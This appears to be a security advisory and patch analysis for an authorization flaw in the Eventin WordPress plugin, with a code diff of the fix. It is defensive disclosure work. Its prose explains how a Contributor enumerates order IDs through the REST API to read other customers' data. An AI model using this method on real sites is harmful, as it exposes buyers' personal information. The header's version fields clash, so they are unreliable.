Published : August 13, 2026

CVE-2026-13168: Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce < 4.1.20 Authenticated (Contributor+) Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 200
Vulnerable Version 4.1.20
Patched Version 4.1.20
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13168: This vulnerability allows authenticated attackers with contributor-level access to extract sensitive user or configuration data from the Eventin plugin for WordPress. The issue resides in multiple REST API endpoints that fail to enforce object-level ownership checks, permitting cross-user data access. The severity is moderate (CVSS 4.3) due to the requirement of a contributor role, but the impact includes unauthorized disclosure of customer PII and event data.

The root cause is that the plugin’s REST controllers relied solely on collection-level capability checks (e.g., `etn_manage_event`) for read and write operations. On a stock install, the `etn_manage_event` capability is granted to Contributor and Author roles, which allows them to interact with all resources, not just their own. Specific vulnerable endpoints include `POST /wp-json/eventin/v1/event/clone`, `POST /wp-json/eventin/v1/event/update`, `GET /wp-json/eventin/v1/order/{id}`, and the bulk status update route in `EventController.php`. For example, the `update_item_permissions_check` method in `EventController.php` (around lines 1091-1104) returned `true` for any user with `etn_manage_event`, ignoring event ownership. Similarly, the `get_item_permissions_check` in `OrderController.php` (around lines 196-218) allowed any `etn_manage_event` holder to read any order, exposing buyer PII. The patch introduces the `EventinAccessControlOwnership` class with methods like `can_manage_post`, `can_manage_user`, and `can_manage_order` to enforce per-object authorization across all relevant controllers.

Exploitation is straightforward. An attacker with a Contributor account can enumerate event and order IDs and access or modify resources belonging to other users. For instance, to read a victim’s order, an attacker sends a `GET` request to `/wp-json/eventin/v1/order/{order_id}` with a valid `X-WP-Nonce` header. Because the vulnerable permission check verifies only the `etn_manage_event` capability (held by the Contributor) and a valid nonce, the response includes the victim’s full name, email, and other order details. For a more severe impact, an attacker could use the `update_author` route, though the patch restricts it to admins. Similarly, the unsecured clone and bulk-publish endpoints allowed unauthorized modification or duplication of events. The PoC script below demonstrates the order-listing endpoint, which returns all customer data.

The patch adds a comprehensive access control layer via the `Ownership` class and modifies each endpoint’s `*_permissions_check` method to call it. The `can_manage_post` method verifies that the current user’s ID matches the `post_author`, unless the user is an administrator. For orders, it checks if the user is the customer or the owner of the associated event. This change ensures that actions are scoped to objects the user owns. The patch also fixes several other issues, such as sanitizing template slugs to prevent local file inclusion and hardening webhook URLs against SSRF attacks. This multi-faceted approach fixes the previously open authorization checks and improves overall security posture.

The primary impact is the exposure of sensitive information. A contributor could extract the complete list of customers, including names and email addresses, via the customer API. They could also read any order to see transaction details, or read and modify other organizers’ event schedules. While this is primarily an information disclosure vulnerability, the ability to modify a victim’s event could enable further attacks, such as injecting malicious links into event descriptions, leading to phishing or malware distribution. In specific configurations, the vulnerable `fluent_crm_webhook` handling could also be leveraged for SSRF, although the primary threat is data exfiltration.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-event-solution/base/Settings.php
+++ b/wp-event-solution/base/Settings.php
@@ -77,6 +77,27 @@
     ];

     /**
+     * Setting keys whose value is used to build a template include path.
+     *
+     * Why: sanitize_text_field preserves `../`, and these values are
+     * concatenated into include_once() when rendering a single speaker/event.
+     * Storing a traversal sequence here, combined with any local file-write
+     * primitive, is local file inclusion. Confine them to a bare slug on write;
+     * the read side confines them again (see
+     * EtnUtilsHelper::sanitize_template_slug()).
+     *
+     * Both keys legitimately hold EITHER a static template slug ('event-one',
+     * 'speaker-two-lite', 'style-1', and the Pro-only 'speaker-two' /
+     * 'speaker-three' / 'event-two' / 'event-three') OR the numeric post id of
+     * a custom `etn-template` post. The `[A-Za-z0-9_-]` rule accepts both, so
+     * no legitimate value — free or Pro — is rejected.
+     */
+    protected static $template_slug_keys = [
+        'speaker_template',
+        'event_template',
+    ];
+
+    /**
      * Recursively sanitize settings, preserving safe HTML for email body fields.
      *
      * Email body fields (keyed `body`) are edited via a rich-text editor and
@@ -99,6 +120,12 @@
             } elseif ( in_array( $key, self::$hex_color_keys, true ) ) {
                 $hex             = sanitize_hex_color( (string) $value );
                 $sanitized[$key] = null === $hex ? '' : $hex;
+            } elseif ( in_array( $key, self::$template_slug_keys, true ) ) {
+                // Reject anything that is not a bare slug rather than silently
+                // substituting a default, so a bad value cannot be stored and
+                // the existing setting is left untouched.
+                $slug            = EtnUtilsHelper::sanitize_template_slug( $value, '' );
+                $sanitized[$key] = $slug;
             } else {
                 $sanitized[$key] = sanitize_text_field( $value );
             }
--- a/wp-event-solution/core/AccessControl/Ownership.php
+++ b/wp-event-solution/core/AccessControl/Ownership.php
@@ -0,0 +1,249 @@
+<?php
+/**
+ * Object-level (per-record) authorization helpers.
+ *
+ * Eventin grants its `etn_manage_*` capabilities to Contributor and Author by
+ * default (see Permission::default_role_permissions()). Those capabilities are
+ * *collection-level* — they say "this user may use the events screen", not
+ * "this user may edit event 412". Until 4.1.20 most per-id REST routes checked
+ * only the capability, so any Contributor could update, delete or read objects
+ * belonging to other users including administrators (BOLA).
+ *
+ * This class is the single place that answers "does the caller own this
+ * object?". Controllers call it from their `*_permissions_check` methods in
+ * addition to — never instead of — the capability check.
+ *
+ * Ownership model:
+ *   - Posts (events, schedules): `post_author`.
+ *   - Speakers/organizers (WP users): the `author` user meta that
+ *     SpeakerController writes on create.
+ *   - Orders: the order's event owner, or the customer the order belongs to.
+ *
+ * `manage_options` always passes — administrators are not scoped.
+ *
+ * @package Eventin
+ */
+
+namespace EventinAccessControl;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Ownership class
+ */
+class Ownership {
+
+    /**
+     * Does the current user bypass all ownership scoping?
+     *
+     * Administrators (and anyone a site grants `manage_options` to) manage the
+     * whole install, so per-object checks do not apply to them.
+     *
+     * @return bool
+     */
+    public static function is_unscoped() {
+        /**
+         * Filter whether the current user bypasses per-object ownership checks.
+         *
+         * Multi-organizer setups (WCFM, Dokan) can widen this to let a store
+         * manager act on their vendors' objects.
+         *
+         * @param bool $unscoped Whether ownership checks are skipped.
+         */
+        return (bool) apply_filters( 'eventin_ownership_is_unscoped', current_user_can( 'manage_options' ) );
+    }
+
+    /**
+     * Can the current user act on this post?
+     *
+     * @param int         $post_id   Post id to test.
+     * @param string|null $post_type Optional expected post type. When given, a
+     *                               post of any other type is rejected outright
+     *                               so an id from one collection cannot be used
+     *                               to reach another.
+     *
+     * @return bool
+     */
+    public static function can_manage_post( $post_id, $post_type = null ) {
+        $post_id = absint( $post_id );
+
+        if ( ! $post_id ) {
+            return false;
+        }
+
+        $post = get_post( $post_id );
+
+        if ( ! $post ) {
+            return false;
+        }
+
+        if ( $post_type && $post_type !== $post->post_type ) {
+            return false;
+        }
+
+        if ( self::is_unscoped() ) {
+            return true;
+        }
+
+        $user_id = get_current_user_id();
+
+        if ( ! $user_id ) {
+            return false;
+        }
+
+        $owns = ( (int) $post->post_author === (int) $user_id );
+
+        /**
+         * Filter the per-post ownership decision.
+         *
+         * @param bool     $owns    Whether the current user owns the post.
+         * @param WP_Post $post    The post being tested.
+         * @param int      $user_id Current user id.
+         */
+        return (bool) apply_filters( 'eventin_can_manage_post', $owns, $post, $user_id );
+    }
+
+    /**
+     * Can the current user act on every one of these posts?
+     *
+     * Used by bulk routes, which must not partially succeed on someone else's
+     * records. Returns false on an empty list — an empty bulk request is a
+     * client error, and returning true would read as "authorized".
+     *
+     * @param array       $post_ids  Post ids to test.
+     * @param string|null $post_type Optional expected post type.
+     *
+     * @return bool
+     */
+    public static function can_manage_posts( $post_ids, $post_type = null ) {
+        $post_ids = array_filter( array_map( 'absint', (array) $post_ids ) );
+
+        if ( ! $post_ids ) {
+            return false;
+        }
+
+        foreach ( $post_ids as $post_id ) {
+            if ( ! self::can_manage_post( $post_id, $post_type ) ) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /**
+     * Can the current user act on this speaker/organizer user record?
+     *
+     * Speakers and organizers are WP users, so this defers to WordPress's own
+     * `edit_user` meta capability first — that is what stops a Contributor from
+     * touching an administrator's account. On top of that, a non-admin must be
+     * the recorded creator (the `author` user meta SpeakerController writes on
+     * create), so one Contributor cannot manage another Contributor's speakers.
+     *
+     * @param int $target_user_id User id to test.
+     *
+     * @return bool
+     */
+    public static function can_manage_user( $target_user_id ) {
+        $target_user_id = absint( $target_user_id );
+
+        if ( ! $target_user_id || ! get_userdata( $target_user_id ) ) {
+            return false;
+        }
+
+        if ( self::is_unscoped() ) {
+            return true;
+        }
+
+        $user_id = get_current_user_id();
+
+        if ( ! $user_id ) {
+            return false;
+        }
+
+        // Own account is always manageable.
+        if ( (int) $target_user_id === (int) $user_id ) {
+            return true;
+        }
+
+        // WordPress's own gate. A Contributor holds no `edit_users`, so this is
+        // false for every account but their own — which is what blocks the
+        // role/meta overwrite and the account deletion.
+        if ( ! current_user_can( 'edit_user', $target_user_id ) ) {
+            return false;
+        }
+
+        $author = absint( get_user_meta( $target_user_id, 'author', true ) );
+        $owns   = ( $author && $author === (int) $user_id );
+
+        /**
+         * Filter the per-user ownership decision.
+         *
+         * @param bool $owns           Whether the current user owns the record.
+         * @param int  $target_user_id User being tested.
+         * @param int  $user_id        Current user id.
+         */
+        return (bool) apply_filters( 'eventin_can_manage_user', $owns, $target_user_id, $user_id );
+    }
+
+    /**
+     * Can the current user act on this order?
+     *
+     * An order is reachable by the organizer who owns the event it was placed
+     * against, and by the customer who placed it. Everyone else is refused,
+     * including holders of `etn_manage_event` who do not own the event — that
+     * is the residual half of CVE-2026-4109.
+     *
+     * @param int $order_id Order post id.
+     *
+     * @return bool
+     */
+    public static function can_manage_order( $order_id ) {
+        $order_id = absint( $order_id );
+
+        if ( ! $order_id ) {
+            return false;
+        }
+
+        $order = get_post( $order_id );
+
+        if ( ! $order || 'etn-order' !== $order->post_type ) {
+            return false;
+        }
+
+        if ( self::is_unscoped() ) {
+            return true;
+        }
+
+        $user_id = get_current_user_id();
+
+        if ( ! $user_id ) {
+            return false;
+        }
+
+        // The customer who placed the order.
+        $customer_id = absint( get_post_meta( $order_id, 'customer_id', true ) );
+
+        if ( $customer_id && $customer_id === (int) $user_id ) {
+            return true;
+        }
+
+        // The organizer who owns the event the order was placed against.
+        $event_id = absint( get_post_meta( $order_id, 'event_id', true ) );
+        $owns     = false;
+
+        if ( $event_id ) {
+            $event = get_post( $event_id );
+            $owns  = ( $event && (int) $event->post_author === (int) $user_id );
+        }
+
+        /**
+         * Filter the per-order ownership decision.
+         *
+         * @param bool $owns     Whether the current user may act on the order.
+         * @param int  $order_id Order being tested.
+         * @param int  $user_id  Current user id.
+         */
+        return (bool) apply_filters( 'eventin_can_manage_order', $owns, $order_id, $user_id );
+    }
+}
--- a/wp-event-solution/core/Customer/Api/CustomerController.php
+++ b/wp-event-solution/core/Customer/Api/CustomerController.php
@@ -97,13 +97,19 @@
     }

     /**
-     * Check if a given request has access to get items.
+     * Check if a given request has access to read customers.
+     *
+     * The customer list is the site's full buyer PII table — every name and
+     * email. It was previously readable by anyone holding `etn_manage_event`,
+     * which Contributor and Author hold on a stock install, while all three
+     * write checks already required `manage_options`. The read now matches the
+     * writes: the whole collection is administrator-only.
      *
      * @param WP_REST_Request $request Full data about the request.
      * @return WP_Error|boolean
      */
     public function get_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_event' ) && wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' );
+        return current_user_can( 'manage_options' ) && wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' );
     }

     /**
--- a/wp-event-solution/core/Customer/CustomerModel.php
+++ b/wp-event-solution/core/Customer/CustomerModel.php
@@ -82,7 +82,12 @@
             'last_name'  => $input->get( 'last_name' ),
             'user_login' => $user_login,
             'user_email' => $input->get( 'email' ),
-            'user_pass'  => wp_hash_password(time()),
+            // Was wp_hash_password( time() ), which made the plaintext password
+            // of every auto-created customer account the Unix timestamp of its
+            // creation — a few-hundred-candidate brute force against an account
+            // the buyer never chose a password for. wp_insert_user() hashes this
+            // itself, so pass a real random secret, not a pre-hashed one.
+            'user_pass'  => wp_generate_password( 24, true, true ),
             'role'       => 'etn-customer'
         ];

--- a/wp-event-solution/core/Integrations/Integration.php
+++ b/wp-event-solution/core/Integrations/Integration.php
@@ -52,13 +52,27 @@
             wp_die( esc_html__( 'You do not have permission to authorize integrations.', 'eventin' ), '', [ 'response' => 403 ] );
         }

-        $stored_state = get_transient( ZoomCredential::STATE_TRANSIENT_KEY . $user_id );
+        $matched_key = '';

-        if ( ! $state || ! $stored_state || ! hash_equals( (string) $stored_state, $state ) ) {
+        if ( $state ) {
+            // Accept the first key whose stored value actually matches. Stopping at the
+            // first key that merely holds *a* value would let a stale scoped token
+            // shadow a live legacy one during a pro up/downgrade mid-flow.
+            foreach ( $this->get_state_transient_keys( $query_var, $user_id ) as $state_key ) {
+                $stored_state = get_transient( $state_key );
+
+                if ( $stored_state && hash_equals( (string) $stored_state, $state ) ) {
+                    $matched_key = $state_key;
+                    break;
+                }
+            }
+        }
+
+        if ( ! $matched_key ) {
             wp_die( esc_html__( 'Invalid OAuth state — authorization rejected.', 'eventin' ), '', [ 'response' => 403 ] );
         }

-        delete_transient( ZoomCredential::STATE_TRANSIENT_KEY . $user_id );
+        delete_transient( $matched_key );

         switch ( $query_var ) {
         case 'zoom-auth':
@@ -75,6 +89,57 @@
     }

     /**
+     * Resolve the transient keys that may hold the OAuth CSRF state for a callback.
+     *
+     * Every provider writes its state under a provider-scoped key so two connect
+     * flows can't clobber each other (see ZoomCredential::STATE_TRANSIENT_KEY).
+     * This callback is shared by all providers, so the key must be derived from
+     * the endpoint being hit rather than hardcoded to Zoom's — hardcoding it made
+     * the Google Meet callback reject every authorization, valid state included.
+     *
+     * Only Zoom is mapped here, because only Zoom lives in this plugin. Providers
+     * shipped elsewhere register their scoped key through the
+     * `eventin_oauth_state_transient_keys` filter, so this file never has to name a
+     * key it does not own. The legacy unscoped key stays as the default for
+     * unmapped providers: eventin-pro <= 4.1.x writes Google's state to
+     * `eventin_oauth_state_{user_id}` and does not register the filter, and pro
+     * updates lag the free plugin. Same token, same TTL — only the storage key
+     * differs, so the fallback costs nothing in CSRF strength. Drop it once the pro
+     * minimum version is bumped past the release that registers the filter.
+     *
+     * @param   string  $query_var  Endpoint being authenticated (e.g. `google-auth`).
+     * @param   int     $user_id    Current user id.
+     *
+     * @return  string[]  Candidate transient keys, most specific first.
+     */
+    protected function get_state_transient_keys( $query_var, $user_id ) {
+        $prefixes = [
+            'zoom-auth' => [ ZoomCredential::STATE_TRANSIENT_KEY ],
+        ];
+
+        // Providers this plugin does not own (Google Meet lives in eventin-pro) fall
+        // back to the legacy unscoped key and prepend their own scoped key via the
+        // filter below. Keeping the legacy default here is what lets a newer free
+        // plugin still authorize against an older pro that has not been updated.
+        $keys = isset( $prefixes[ $query_var ] ) ? $prefixes[ $query_var ] : [ 'eventin_oauth_state_' ];
+
+        /**
+         * Filter the OAuth state transient key prefixes for an integration callback.
+         *
+         * @param   string[]  $keys       Key prefixes, most specific first.
+         * @param   string    $query_var  Endpoint being authenticated.
+         */
+        $keys = apply_filters( 'eventin_oauth_state_transient_keys', $keys, $query_var );
+
+        return array_map(
+            function ( $prefix ) use ( $user_id ) {
+                return $prefix . $user_id;
+            },
+            (array) $keys
+        );
+    }
+
+    /**
      * Authentication for zoom
      *
      * @param   string  $code
--- a/wp-event-solution/core/Integrations/Webhook/FluentCRM.php
+++ b/wp-event-solution/core/Integrations/Webhook/FluentCRM.php
@@ -46,8 +46,16 @@



-        if ( $fluentCRM_enable ==='yes' && !empty( $fluentcrm_webhook ) ) {
-            $response_user = wp_remote_post($fluentcrm_webhook, ['body' => $body]);
+        if ( $fluentCRM_enable ==='yes' && !empty( $fluentcrm_webhook ) ) {
+            // wp_safe_remote_post applies WordPress's HTTP request validation:
+            // it refuses non-http(s) schemes and, on the front end, refuses
+            // private/loopback addresses. Stored values predating 4.1.20 were
+            // never escaped, so re-validate at send time too.
+            $fluentcrm_webhook = esc_url_raw( $fluentcrm_webhook );
+
+            if ( $fluentcrm_webhook ) {
+                $response_user = wp_safe_remote_post($fluentcrm_webhook, ['body' => $body]);
+            }
         }
     }

@@ -69,7 +77,12 @@


 		if ( $fluentCRM_enable ==='yes' && !empty( $fluentcrm_webhook ) ) {
-			$response_user = wp_remote_post($fluentcrm_webhook, ['body' => $body]);
+			// See send_data() — same validation, same reason.
+			$fluentcrm_webhook = esc_url_raw( $fluentcrm_webhook );
+
+			if ( $fluentcrm_webhook ) {
+				$response_user = wp_safe_remote_post($fluentcrm_webhook, ['body' => $body]);
+			}
 		}
 	}

--- a/wp-event-solution/core/Order/OrderController.php
+++ b/wp-event-solution/core/Order/OrderController.php
@@ -6,6 +6,7 @@

 use EtnCoreAttendeeAttendee_Model;
 use EtnCoreEventEvent_Model;
+use EventinAccessControlOwnership;
 use EventinAttendeeAttendeeTicketIdGenerator;
 use EventinCustomerCustomerModel;
 use EventinInput;
@@ -149,8 +150,14 @@
             [
                 'methods'             => WP_REST_Server::CREATABLE,
                 'callback'            => [$this, 'add_to_waiting_list'],
+                // Was `return true` — fully unauthenticated, and the callback
+                // creates a WordPress user for whatever email is posted. Guests
+                // must still be able to join a waiting list from the front end,
+                // so this matches the guest order path (create_item): a valid
+                // wp_rest nonce, which proves the request came from a real page
+                // load rather than a script hitting the route directly.
                 'permission_callback' => function( $request ) {
-                    return true;
+                    return (bool) wp_verify_nonce( $request->get_header( 'X-WP-Nonce' ), 'wp_rest' );
                 },
             ],
         ] );
@@ -189,8 +196,26 @@
         return false;
     }

+    /**
+     * Check if a given request has access to read a single order.
+     *
+     * CVE-2026-4109 was only half-fixed in 4.1.9: the token branch below was
+     * tightened, but the capability branch still returned true for anyone
+     * holding `etn_manage_event` — which Contributor and Author hold by default
+     * — so iterating ids read every customer's order PII. The capability now
+     * gates access to the feature; ownership of the specific order decides
+     * whether this call may proceed, matching how get_items() already scopes
+     * the list.
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|boolean
+     */
     public function get_item_permissions_check( $request ) {
-        if ( current_user_can( 'etn_manage_event' ) ) {
+        // Object-level check. Passes for an administrator, for the organizer who
+        // owns the event the order was placed against, and for the etn-customer
+        // the order belongs to (who holds no etn_manage_* capability at all, so
+        // this must not be nested behind a capability test).
+        if ( is_user_logged_in() && Ownership::can_manage_order( $request['id'] ) ) {
             return true;
         }

@@ -2073,8 +2098,34 @@
             $user_data = get_user_by( 'email', $email );

             $customer = new CustomerModel( $user_data->ID );
-            $customer->assign_role(['etn-customer']);
+
+            // This path is reachable by an unauthenticated buyer, so the email
+            // posted is unverified — it may well be someone else's. Linking the
+            // order to the account is harmless, but granting a role to an
+            // account that can administer something is not. Skip the role for
+            // privileged accounts; ordinary buyers are unaffected.
+            if ( ! user_can( $user_data->ID, 'edit_posts' ) && ! user_can( $user_data->ID, 'manage_options' ) ) {
+                $customer->assign_role( ['etn-customer'] );
+            }
         } else {
+            // Do not mint WordPress accounts from a guest checkout when the site
+            // has registration switched off. Honouring the site policy is what
+            // stops this endpoint being an open account-creation primitive.
+            // Staff creating an order from the admin screens are unaffected.
+            if ( ! get_option( 'users_can_register' ) && ! current_user_can( 'etn_manage_order' ) ) {
+                /**
+                 * Fires when a guest order could not be linked to an account
+                 * because registration is disabled. The order still holds the
+                 * buyer's contact details; only the WP user is skipped.
+                 *
+                 * @param OrderModel $order The order just created.
+                 * @param string     $email The buyer's email.
+                 */
+                do_action( 'eventin_guest_customer_creation_skipped', $order, $email );
+
+                return;
+            }
+
             $customer = CustomerModel::create([
                 'first_name'    => $input->get('customer_fname'),
                 'last_name'     => $input->get('customer_lname'),
@@ -2082,6 +2133,10 @@
             ]);
         }

+        if ( is_wp_error( $customer ) || empty( $customer->id ) ) {
+            return;
+        }
+
         $order->update( [
             'customer_id' => $customer->id
         ] );
--- a/wp-event-solution/core/event/Api/EventController.php
+++ b/wp-event-solution/core/event/Api/EventController.php
@@ -10,6 +10,7 @@
 defined( 'ABSPATH' ) || exit;

 use Error;
+use EventinAccessControlOwnership;
 use EventinEventEventExporter;
 use EventinEventEventImporter;
 use EtnCoreEventEvent_Model;
@@ -256,8 +257,12 @@
                 array(
                     'methods'             => WP_REST_Server::EDITABLE,
                     'callback'            => array( $this, 'update_author' ),
+                    // Reassigning post_author is an ownership transfer. Only an
+                    // administrator may perform one — an organizer handing their
+                    // own event to someone else, or (before 4.1.20) taking an
+                    // administrator's event, is not an authoring action.
                     'permission_callback' => function() {
-                        return current_user_can( 'etn_manage_event' );
+                        return current_user_can( 'etn_manage_event' ) && current_user_can( 'manage_options' );
                     },
                 ),

@@ -271,7 +276,12 @@
             [
                 'methods'             => WP_REST_Server::EDITABLE,
                 'callback'            => [$this, 'set_unset_event_as_homepage'],
-                'permission_callback' => [$this, 'update_item_permissions_check'],
+                // Writes the site-wide `show_on_front` / `page_on_front`
+                // options, so this is a settings change, not an event edit.
+                // Owning the event is not enough.
+                'permission_callback' => function () {
+                    return current_user_can( 'manage_options' );
+                },
                 'args'                => [
                     'id' => [
                         'description' => __('Unique identifier for the event.', 'eventin'),
@@ -322,7 +332,13 @@
      * @return bool
      */
     public function clone_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_event' );
+        if ( ! current_user_can( 'etn_manage_event' ) ) {
+            return false;
+        }
+
+        // Cloning copies out the source event's full data, so it is a read of
+        // that event as much as a write of a new one.
+        return Ownership::can_manage_post( $request['id'], 'etn' );
     }

     /**
@@ -1075,8 +1091,23 @@
      * @param WP_REST_Request $request Full details about the request.
      * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
      */
+    /**
+     * Check if a given request has access to update an event.
+     *
+     * `etn_manage_event` is collection-level and is held by Contributor and
+     * Author on a stock install, so on its own it let any Contributor edit an
+     * administrator's event. The capability still gates access to the feature;
+     * ownership of the specific event decides whether this call may proceed.
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|boolean
+     */
     public function update_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_event' );
+        if ( ! current_user_can( 'etn_manage_event' ) ) {
+            return false;
+        }
+
+        return Ownership::can_manage_post( $request['id'], 'etn' );
     }

     /**
@@ -1214,8 +1245,27 @@
      * @param WP_REST_Request $request Full data about the request.
      * @return WP_Error|WP_REST_Response
      */
+    /**
+     * Check if a given request has access to delete events.
+     *
+     * Serves both the per-id route and the bulk route (which carries `ids` in
+     * the body instead). Both are scoped to events the caller owns — a bulk
+     * request containing one foreign id is refused outright rather than
+     * partially applied.
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|boolean
+     */
     public function delete_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_event' );
+        if ( ! current_user_can( 'etn_manage_event' ) ) {
+            return false;
+        }
+
+        if ( ! empty( $request['ids'] ) ) {
+            return Ownership::can_manage_posts( $request['ids'], 'etn' );
+        }
+
+        return Ownership::can_manage_post( $request['id'], 'etn' );
     }

     /**
@@ -2130,7 +2180,10 @@
         }

         if ( isset( $input_data['fluent_crm_webhook'] ) ) {
-            $event_data['fluent_crm_webhook'] = $input_data['fluent_crm_webhook'];
+            // Was stored raw while the three neighbouring webhook fields below
+            // were escaped — the odd one out. The value is later fetched
+            // server-side, so an unvalidated string here is an SSRF sink.
+            $event_data['fluent_crm_webhook'] = esc_url_raw( $input_data['fluent_crm_webhook'] );
         }

         if ( isset( $input_data['mail_mint_webhook'] ) ) {
@@ -2496,6 +2549,17 @@
             return new WP_Error('invalid_author', __( 'Invalid author id', 'eventin' ), ['status' => 422]);
         }

+        // Defence in depth: the route is already administrator-only, but keep
+        // the transfer itself guarded so a future re-wiring of the route cannot
+        // silently reopen the takeover.
+        if ( ! current_user_can( 'manage_options' ) ) {
+            return new WP_Error(
+                'rest_forbidden',
+                __( 'Sorry, you are not allowed to reassign the author of this event.', 'eventin' ),
+                ['status' => 403]
+            );
+        }
+
         $updated = wp_update_post([
             'ID'          => $event_id,
             'post_author' => $author_id
@@ -2568,6 +2632,10 @@
             return new WP_Error('invalid_status', __( 'Status must be Publish OR Draft', 'eventin' ), array('status' => 400));
         }

+        // Validate the WHOLE batch before writing anything. Checking inside the
+        // write loop would publish/unpublish the caller's own events and only
+        // then refuse on the first foreign id — a partial application that
+        // leaves the batch half-applied and is not undone.
         foreach ($event_ids as $event_id) {
             $event = get_post($event_id);
             if (!$event || $event->post_type !== 'etn') {
@@ -2578,6 +2646,18 @@
                 );
             }

+            // The route's capability check is collection-level; publishing or
+            // unpublishing someone else's event needs ownership of that event.
+            if ( ! Ownership::can_manage_post( $event_id, 'etn' ) ) {
+                return new WP_Error(
+                    'rest_forbidden',
+                    __( 'Sorry, you are not allowed to update this event.', 'eventin' ),
+                    ['status' => 403]
+                );
+            }
+        }
+
+        foreach ($event_ids as $event_id) {
             $result = wp_update_post([
                 'ID' => $event_id,
                 'post_status' => $status
--- a/wp-event-solution/core/event/api.php
+++ b/wp-event-solution/core/event/api.php
@@ -305,15 +305,21 @@
 	*/
 	public function get_list() {
 		$request        = $this->request;
-		$user_id        = isset( $request['user_id'] ) ? intval( $request['user_id'] ) : 0;
+		$requested_user = isset( $request['user_id'] ) ? intval( $request['user_id'] ) : 0;
 		$posts_per_page = isset( $request['posts_per_page'] ) ? intval( $request['posts_per_page'] ) : 20;
 		$paged          = isset( $request['paged'] ) ? intval( $request['paged'] ) : 1;
 		$group_id       = isset( $request['group_id'] ) ? intval( $request['group_id'] ) : 0;
 		$type           = isset( $request['type'] ) ? $request['type'] : "";

+		// The central v1 permission check only verifies the wp_rest nonce, so
+		// this route is reachable by any low-privilege user. Non-published
+		// events (drafts, pending, private) are only ever visible to someone
+		// who may read them; everyone else sees the published list.
+		$can_read_unpublished = current_user_can( 'edit_others_posts' ) || current_user_can( 'manage_options' );
+
 		$args = [
 			'post_type'      => 'etn',
-			'post_status'    => 'any',
+			'post_status'    => $can_read_unpublished ? 'any' : 'publish',
 			'posts_per_page' => $posts_per_page,
 			'paged'          => $paged,
 		];
@@ -339,10 +345,32 @@
 			];
 		}

-		$user = get_userdata( $user_id );
+		// The author scope must come from the session, never from the request.
+		// Previously `user_id` was taken straight off the query string: passing
+		// someone else's id returned THEIR drafts and private events, and
+		// passing an administrator's id skipped the author filter entirely and
+		// returned every event on the site in every status.
+		//
+		// An administrator may still browse another user's events by passing
+		// user_id; for everyone else the parameter is ignored.
+		if ( current_user_can( 'manage_options' ) ) {
+			if ( $requested_user ) {
+				$args['author'] = $requested_user;
+			}
+		} else {
+			$current_user_id = get_current_user_id();
+
+			if ( ! $current_user_id ) {
+				// Logged-out callers get the public published list, unscoped by
+				// author. post_status is already forced to publish above.
+				$args['author'] = '';
+			} else {
+				$args['author'] = $current_user_id;
+			}
+		}

-		if ( ! user_can( $user, 'manage_options' ) ) {
-			$args['author'] = $user_id;
+		if ( empty( $args['author'] ) ) {
+			unset( $args['author'] );
 		}

 		// Hide the shipped preview-placeholder event from this v1 REST list (the
--- a/wp-event-solution/core/schedule/Api/ScheduleController.php
+++ b/wp-event-solution/core/schedule/Api/ScheduleController.php
@@ -9,6 +9,7 @@

 defined( 'ABSPATH' ) || exit;

+use EventinAccessControlOwnership;
 use EventinScheduleScheduleExporter;
 use EventinScheduleScheduleImporter;
 use EtnCoreScheduleSchedule_Model;
@@ -318,8 +319,22 @@
      * @param WP_REST_Request $request Full data about the request.
      * @return WP_Error|boolean
      */
+    /**
+     * Check if a given request has access to update a schedule.
+     *
+     * get_items() already scopes the listing to the caller's own schedules;
+     * this applies the same per-object author test to the write path, which
+     * previously checked only the collection-level capability.
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|boolean
+     */
     public function update_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_schedule' );
+        if ( ! current_user_can( 'etn_manage_schedule' ) ) {
+            return false;
+        }
+
+        return Ownership::can_manage_post( $request['id'], 'etn-schedule' );
     }

     /**
@@ -436,8 +451,26 @@
      * @param WP_REST_Request $request Request object.
      * @return WP_Error|object $prepared_item
      */
+    /**
+     * Check if a given request has access to delete schedules.
+     *
+     * Serves both the per-id route and the bulk route (`ids` in the body). A
+     * bulk request containing one foreign id is refused outright rather than
+     * partially applied.
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|boolean
+     */
     public function delete_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_schedule' );
+        if ( ! current_user_can( 'etn_manage_schedule' ) ) {
+            return false;
+        }
+
+        if ( ! empty( $request['ids'] ) ) {
+            return Ownership::can_manage_posts( $request['ids'], 'etn-schedule' );
+        }
+
+        return Ownership::can_manage_post( $request['id'], 'etn-schedule' );
     }

     /**
--- a/wp-event-solution/core/speaker/Api/SpeakerController.php
+++ b/wp-event-solution/core/speaker/Api/SpeakerController.php
@@ -9,6 +9,7 @@

 defined( 'ABSPATH' ) || exit;

+use EventinAccessControlOwnership;
 use EventinSpeakerSpeakerExporter;
 use EventinSpeakerSpeakerImporter;
 use EtnCoreSpeakerUser_Model;
@@ -648,9 +649,38 @@
      * @param WP_REST_Request $request Full data about the request.
      * @return WP_Error|WP_REST_Response
      */
+    /**
+     * Check if a given request has access to delete speakers.
+     *
+     * Deleting a speaker deletes the underlying WordPress user, so the
+     * collection-level capability is not enough — a Contributor holding
+     * `etn_manage_organizer` could otherwise remove speaker and organizer
+     * accounts created by other people. Serves both the per-id route and the
+     * bulk route (`ids` in the body).
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|boolean
+     */
     public function delete_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_organizer' )
-                    || current_user_can( 'etn_manage_event' );
